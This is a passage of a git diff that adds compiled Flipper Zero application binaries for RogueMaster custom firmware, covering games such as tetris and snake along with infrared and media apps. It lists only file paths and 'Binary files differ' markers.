RM)/RogueMaster/Games/flipper_hero.fap new file mode 100644 index 000000000..69905780a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap new file mode 100644 index 000000000..c903b5794 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap new file mode 100644 index 000000000..bb1bbdae2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap new file mode 100644 index 000000000..69e54fd70 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap new file mode 100644 index 000000000..a99a0773d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap new file mode 100644 index 000000000..ab2acedec Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap new file mode 100644 index 000000000..b37b64a2e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap new file mode 100644 index 000000000..c07936f75 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap new file mode 100644 index 000000000..c29578875 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap new file mode 100644 index 000000000..01793993c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap new file mode 100644 index 000000000..a3b45ae0f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap new file mode 100644 index 000000000..43c87de34 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap new file mode 100644 index 000000000..9e50b4292 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap new file mode 100644 index 000000000..1070a0dd4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap new file mode 100644 index 000000000..8437b41a9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap new file mode 100644 index 000000000..e576617f7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap new file mode 100644 index 000000000..a86da48d8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap new file mode 100644 index 000000000..fe9410231 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap new file mode 100644 index 000000000..85fa7c05d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap new file mode 100644 index 000000000..b5d0ec666 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap new file mode 100644 index 000000000..a5c0344fa Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/monster_slayer.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/monster_slayer.fap new file mode 100644 index 000000000..7eb7bc4db Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/monster_slayer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap new file mode 100644 index 000000000..3e2d55029 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/morse_master.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/morse_master.fap new file mode 100644 index 000000000..b209a2a03 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/morse_master.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap new file mode 100644 index 000000000..d237c2621 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap new file mode 100644 index 000000000..b0417ccaf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_adventure.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_adventure.fap new file mode 100644 index 000000000..d5a0de85f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_adventure.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_network_defender.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_network_defender.fap new file mode 100644 index 000000000..cbc88db7c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_network_defender.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_your_own_adventure.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_your_own_adventure.fap new file mode 100644 index 000000000..90311cbcb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/p1x_your_own_adventure.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap new file mode 100644 index 000000000..6a4f4f10d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap new file mode 100644 index 000000000..72349f1c1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap new file mode 100644 index 000000000..ea3ecdc54 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap new file mode 100644 index 000000000..2c7293695 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap new file mode 100644 index 000000000..36e220e9c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap new file mode 100644 index 000000000..500943b95 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap new file mode 100644 index 000000000..2bf423389 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap new file mode 100644 index 000000000..8425849cc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap new file mode 100644 index 000000000..a008a6b68 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap new file mode 100644 index 000000000..3f39d09c5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap new file mode 100644 index 000000000..39c123481 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap new file mode 100644 index 000000000..4cc97defb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap new file mode 100644 index 000000000..aacd3e6e3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap new file mode 100644 index 000000000..42a200c81 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap new file mode 100644 index 000000000..2676306b6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap new file mode 100644 index 000000000..8d5145d62 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap new file mode 100644 index 000000000..6e699b3d7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap new file mode 100644 index 000000000..3834888d6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap new file mode 100644 index 000000000..3a0dbb1be Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap new file mode 100644 index 000000000..0883ede80 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap new file mode 100644 index 000000000..6686f2bf8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap new file mode 100644 index 000000000..02479f6bf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap new file mode 100644 index 000000000..e21415793 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap new file mode 100644 index 000000000..4c70549a9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap new file mode 100644 index 000000000..2d9cf1ba9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap new file mode 100644 index 000000000..eff78e007 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap new file mode 100644 index 000000000..9b7764b4d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/spaceimpactii.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/spaceimpactii.fap new file mode 100644 index 000000000..c7484aa1d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/spaceimpactii.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap new file mode 100644 index 000000000..96e99db05 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap new file mode 100644 index 000000000..5b7b65696 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap new file mode 100644 index 000000000..28e9c2897 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap new file mode 100644 index 000000000..3243a90e8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap new file mode 100644 index 000000000..56d93509a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap new file mode 100644 index 000000000..ac45b8133 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap new file mode 100644 index 000000000..6181c21af Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap new file mode 100644 index 000000000..0b084ee95 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap new file mode 100644 index 000000000..613626725 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap new file mode 100644 index 000000000..4d0c97869 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap new file mode 100644 index 000000000..b6039961d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/uart_pong.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/uart_pong.fap new file mode 100644 index 000000000..9c2039e5b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/uart_pong.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap new file mode 100644 index 000000000..54d47c42a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap new file mode 100644 index 000000000..a52a61737 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap new file mode 100644 index 000000000..adf5ae419 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap new file mode 100644 index 000000000..97c0f1e5d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap new file mode 100644 index 000000000..6c849a22b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap new file mode 100644 index 000000000..2df00a439 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap new file mode 100644 index 000000000..431fcced5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap new file mode 100644 index 000000000..de43b17f0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap new file mode 100644 index 000000000..7e15c0dd6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flame_rng.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flame_rng.fap new file mode 100644 index 000000000..760182591 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flame_rng.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap new file mode 100644 index 000000000..af0aea49d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap new file mode 100644 index 000000000..095d75074 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap new file mode 100644 index 000000000..f6d006b50 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap new file mode 100644 index 000000000..2e11df56b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap new file mode 100644 index 000000000..b2daeb409 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap new file mode 100644 index 000000000..0fc38f11b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap new file mode 100644 index 000000000..7efbccbb4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap new file mode 100644 index 000000000..78331fd2c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap new file mode 100644 index 000000000..dc13d36f0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/lidar_emulator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap new file mode 100644 index 000000000..20c8930b2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap new file mode 100644 index 000000000..d31ba73e2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap new file mode 100644 index 000000000..fbe322e13 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap new file mode 100644 index 000000000..ea7fcb1db Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap new file mode 100644 index 000000000..22c7027b9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap new file mode 100644 index 000000000..ccacd6326 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap new file mode 100644 index 000000000..acaaa8c51 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap new file mode 100644 index 000000000..6c1eb85b5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap new file mode 100644 index 000000000..85dab9aed Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap new file mode 100644 index 000000000..c0d10eae4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap new file mode 100644 index 000000000..06b93908c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap new file mode 100644 index 000000000..5003f0f94 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap new file mode 100644 index 000000000..3c608dc89 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap new file mode 100644 index 000000000..4823eae2e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap new file mode 100644 index 000000000..0a71a5212 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap new file mode 100644 index 000000000..45cd1d285 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap new file mode 100644 index 000000000..bd358aacd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap differ diff --git a/Applications/Custom (UL, 